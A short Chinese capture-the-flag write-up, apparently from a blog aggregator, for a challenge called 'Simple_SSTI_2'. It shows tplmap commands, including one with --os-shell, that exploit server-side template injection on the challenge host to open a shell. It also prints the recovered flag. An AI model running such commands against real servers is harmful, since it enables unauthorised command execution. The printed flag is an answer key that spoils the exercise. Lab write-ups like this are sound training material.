热门标签
热门文章
- 1CentOS 7.x配置静态网络IP_vim /etc/sysconfig/network-scripts/ifcfg-ens33新目录
- 2Vue官方文档代码大全
- 3hadoop（高可用）在linux部署以及集群笔记_192.168.100.3:9870/
- 4K8s 服务网格基本介绍与快速部署-Day 01_kubesphere 服务网格
- 5【HarmonyOS】Stage 模型 - 基本概念
- 6我的秋招2022_大沙漏5分钟小沙漏3分钟计算7分钟
- 7打开网站显示您与此网站建立的连接不安全怎么办？_ibm traveler 要求进行身份验证与此站点的连接不安全
- 8kafka常见问题QA（六）_kafka的优先级消费
- 9智能驱动未来：B2B电商系统携手AI共创商业新纪元
- 10数图可视化品类空间管理系统入编《零售门店数字化赋能专项报告（2024年）》
当前位置: article > 正文
Simple_SSTI_2
作者：Monodyee | 2024-04-13 18:59:29
赞
踩
Simple_SSTI_2
1、启动场景
- http://114.67.175.224:18040/ 然后机会发现 页面啥也不是，查看源码后，看了好像又没看
2、用kali的tplmap扫一下
- 安装tplmap【已安装,可略过】：在kali终端安装git clone https://github.com/epinna/tplmap
然后来到tplmap的目录下运行：
- python tplmap.py -u “http://114.67.175.224:18040/?flag=”
- ./tplmap.py -u “http://114.67.175.224:18686/?flag=” --os-shell
- 然后得到flag文件夹
flag{ad748aca07066715eea10a9d911a4da8}
方法二：https://blog.csdn.net/qq_47480932/article/details/137423121 无需经过kali 直接网页中就可以解决。
声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/Monodyee/article/detail/418015
推荐阅读
相关标签
